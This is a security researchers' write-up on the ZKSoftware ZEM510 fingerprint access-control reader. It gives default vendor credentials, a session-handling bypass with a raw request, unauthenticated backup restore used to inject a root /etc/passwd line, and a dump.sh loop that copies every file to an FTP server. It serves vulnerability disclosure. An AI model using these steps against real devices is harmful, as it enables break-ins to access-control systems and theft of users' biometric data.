|Front view of the ZEM510 fingerprint reader.|
|Back view of the ZEM510 fingerprint reader.|
- a bootloader screen that says << Linux : security for your life >>
- LCD screen
- digital fingerprint reader
- a keypad
- power supply port
- RJ45 network port
- 2 USB ports
- at the back, there is a little tamper switch that will detect when the device is detached from the wall, and will trigger the alarm mode.
OverviewThe specific name of the device is ZK-I01A ID GPRS, also known as ZEM510 and costs approximately U$200. It's made by ZKSoftware, which happens to have a reseller here, in Argentina. It's a bio-metric fingerprint reader that's supposed to provide controlled entrance of personnel and security to facilities.
In their official websites you can find a detailed documentation about it. Downloads and user manual also available.
Between the principal characteristics there are a few to highlight:
- Communication methods:
- USB Host/client
- Reader: EM Marin125 khz, Protocol: Wiegand 26
- Power supply: 12v, 1,5A and a 4hs additional battery.
- Programmable output for a bell.
Looking for a way to communicate!
Serial connection via USBWe tried serial communication via USB, which creates a virtual serial port, using miniterm and screen, synchronizing the recommended baud rates and rebooting the device in order to expect some kind of prompt or output, but nothing came out of it :(
Ethernet connection via UTP CableAfter noticing that the network interface by default sets its IP address to 192.168.1.201 and has an access restriction by IP, we found out that setting our local one to 192.168.1.220 would do the trick.
Once we have connection, an nmap port scan shows this results:
- TCP 80 : the device is running webserver
- TCP 23 : a classic telnet server (telnetd from busybox)
- TCP/UDP 4370 : custom protocol
- UDP 65535 : custom protocol that will respond to requests to broadcast and is used to find the fingerprint readers in the network
Telnet? ZEM510?Port 23 seems to be a telnet service, we check if it's legitimate:
Doing a bit of research on the internet we managed to gather several default user:passwords that this vendor normally uses for this kind of devices:
admin:admin root:root admin:1234
Unfortunately, not a single one of them worked on our device. Additional tools like hydra and medusa were used but also where a no-go.
root:colorkey root:solokey root:swsbzkgn admin:admin 888:manage manage:888 manage:888 asp:test 888:asp
Web Application PanelPort 80 was showing a web server so we decided to check it out. A website and a login page for what seems to be a control panel appeared.
|Web panel login.|
Using a classic,
administrator:123456we got access to the web panel.
|Default user credentials working.|
Browsing the website and logging the requests led us to determine the web server and the application was handling sessions in a VERY poor way. We could access pages that needed authorization without being authenticated.The file
menu.csl, and this last one gives you access to the rest, so we should try to access it first. We need to destroy our cookie and make sure we are using an empty one to access a restricted area.
|Showing session cookie on console.|
|Showing empty cookie on console on start.csl|
And we're in. Let's see the requests in plaintext with ncat so you understand the gravity of the situation.
You can see that the web server replied with 200 OK and tried to load in framesets
isr@~% ncat zkwebserver 80 GET /csl/start HTTP/1.1 Host: zkwebserver HTTP/1.0 200 OK Server: ZK Web Server Pragma: no-cache Cache-control: no-cache Content-Type: text/html; Connection: close <HTML><HEAD><TITLE></TITLE> <META http-equiv=Content-Type content='text/html;'> <META http-equiv=Cache-control content=no-cache> <META http-equiv=Pragma content=no-cache> <LINK href='../css/Secutime.css' type=text/css rel=stylesheet> <META content='MSHTML 6.00.2900.3562' name=GENERATOR></HEAD> <FRAMESET border=0 frameSpacing=0 rows=37,* frameBorder=NO cols=*> <FRAME name=header src='/csl/header' noResize scrolling=no> <FRAMESET border=0 frameSpacing=0 rows=* frameBorder=NO cols=180,*> <FRAME name=menu src='/csl/menu' noResize scrolling=auto> <FRAME name=content src='/csl/desktop'></FRAMESET> </FRAMESET> </HTML>
/csl/headerwithout asking for an auth. So far we can't state for sure that calling
/csl/menudirectly will have the same effect.
/csl/menu(stripped content for clarity):
If the login page had a destroy session or something alike it would be considered a CSRF, which in this case, supposing that sessions were handled "properly", meant the only "security" administrators had, but no, not even that.
We can conclude either an anonymous user or an administrator have the same privileges on the website, making session handling utterly useless. The only difference would be that the anon user has to access menu directly and the admin can make use of their fantastic "Web 3.0" login.
Web vulnerabilitiesNow that we completely control the web interface, we started looking for vulnerabilities that could lead to access to the linux that's running below.
For this post we're leaving web vulnerabilities aside and instead we'll discuss just one major one, you'll see why soon.
|Web backup section.|
|Downloading backup system data example.|
They are both gzipped, let's extract them.
isr@zk% file * data.dat: gzip compressed data, max compression, from Unix device.dat: gzip compressed data, max compression, from Unix
user.dat[Backup user data] :
Peeking around we found that most of the files were illegible or empty, and decided to continue with the next gzipped file before going further.
isr@zk% tar zxf data.dat && ls -R .: data.dat device.dat mnt/ ./mnt: mtdblock/ ./mnt/mtdblock: custattstate.dat custvoice.dat data/ dpmidx.dat extlog.dat extuser.dat oplog.dat sms.dat udata.dat user.dat workcode.dat ./mnt/mtdblock/data: extlog.dat template.dat transaction.dat
We deleted the entire extracted folder in order to avoid contents to be overwritten in the next extraction.
device.dat[Backup system data] :
A config file is always interesting to see! The file options.cfg contains configuration variables, below some of them categorized for a better understanding:
isr@zk% tar zxf device.dat && ls -R .: data.dat device.dat mnt/ ./mnt: mtdblock/ ./mnt/mtdblock: options.cfg
It's clear that options.cfg includes lots of sensible configuration information (not only from the web interface, but from the entire device) that you can even pushed back modified with the 'restore backup' option UNAUTHENTICATED.
Network IPAddress=192.168.1.201 GATEIPAddress=192.168.1.1 NetMask=255.255.255.0 Communication UDPPort=4370 TCPPort=4368 WEBPort=80 RS232BaudRate=115200 RS232On=1 Device info Platform= OEMVendor=ZKSoftware Inc. AlgVer=ZKFinger ProductTime= SerialNumber= DeviceName= Device configuration TFTKeyLayout=0 LcdMode=0 KeyPadBeep=1 VoiceOn=1 VOLUME=67 AlarmOpLog=99 Language=83 AdmRetry=3 Web Administrator password LoginPWD=123456 Paths WAVFILEPATH=/mnt/ramdisk/wav/ BMPFILEPATH=/mnt/mtdblock/image/ FONTFILEPATH=/mnt/mtdblock/ PICFILEPATH=/mnt/mtdblock/ WebRoot=/mnt/mtdblock/ PHOTOFILEPATH=/mnt/mtdblock/photo/ CAPTUREPHOTOPATH=/mnt/mtdblock/
SOAP APIIf you want to head this way, you will also find that the web server has a SOAP API (without authentication, of course) allowing you to retrieve the entire list users (passwords included), the last users that opened the door, and pretty much everything.
Got root? Arbitrary File InjectionAt this stage it was clear for us that we should try to re-upload the backup folder with additional files to test the restrictions of the uploader and see what happens.
As we already know, the server that's running behind is a Linux on a MIPS, meaning user's passwords database is
/etc/passwdfile and probably
/etc/shadow. So we generate a passwd file with user root and a known password:
Note that we're using the plain representation as an example, md5crypt should be used.
isr@zk% echo "root:knownpassword:0:0:root:/root:/bin/sh" > passwd
Setting up the passwd file in context:
Compressing again with gzip and uploading our 'backup' via web interface using the same name the file had when it was downloaded (data.dat for example).
isr@zk% mkdir etc/ && mv passwd etc/
|Restore data section.|
Let's see if it worked, shall we?
|ZEM510 shell prompt|
Privacy issuesAll these vulnerabilities also raise the question of privacy: are the personal information of the users safe?
From the user's manual the manufacturer claims the following:
ZKSoftware Statement on collection of fingerprints
- All of our fingerprint recognition devices for civil use only collect the characteristic points of fingerprints instead of the fingerprint images, and therefore no privacy issues are involved.
Ok, that would be great if it were completely true.
Login ids, as we've seen in pentests before, are always associated with the user's real name and their fingerprint. The vendor states that the fingerprint is stored as a representation of itself, and they are not lying, but also missing an important point on the process.
When a fingerprint is scanned and pushed back to the database, interchangeably if it comes from a new user or an existing one, a temporary fingerprint image is always stored at
/mnt/ramdisk/finger.bmpso the device can calculate its characteristics until the next fingerprint replaces it.
An example of a typical image that can be found on the device.
Emulation of the deviceIn order to find more vulnerabilities, we will set up the embedded device, but since there is no firmware available, we are going to extract all the information from a live device.
Dump it all!To understand more about the structure of the OS we downloaded it entirely.
|Busybox command list|
Having everything needed to replicate the environment we just miss a MIPS Virtual Machine to properly emulate the firmware, and this can be achieved quite easily by using QEMU.
dump.sh: for i in $(find `pwd` -name "*"); do ftpput ftp_server $i $i done
With the VM working and with a chroot in place, we were able to run a binary named « main », located in
/mnt/mtdblock/main, which is in fact the main binary for the web application and... almost everything. It's also one of the few binaries that run in the server besides telnetd.
TroubleshootingWhen launching main, we found out it was messing with the TTY (that is used as a framebuffer device, for the TFT screen), making it impossible to interact. Same thing happened with network (it reconfigures when starting), but by adding an empty « ifconfig » command in
/usr/local/bin, we were able to circumvent this problem.
Additional findingsWe also found that the web service and their custom « main » service were vulnerable of buffer overflows and arbitrary file disclosure. These vulnerabilities will be published on Part II, next week
Thanks to @achillean who kindly provided us access to SHODAN maps, we leave you this lovely postcard:
Authors from @infobytesec Team:
- Federico Kirschbaum (@fede_k)
- Matías A. Ré Medina (@mattaereal)
- Korantin Auguste (palkeo)
- Juan Urbano (@juanurss)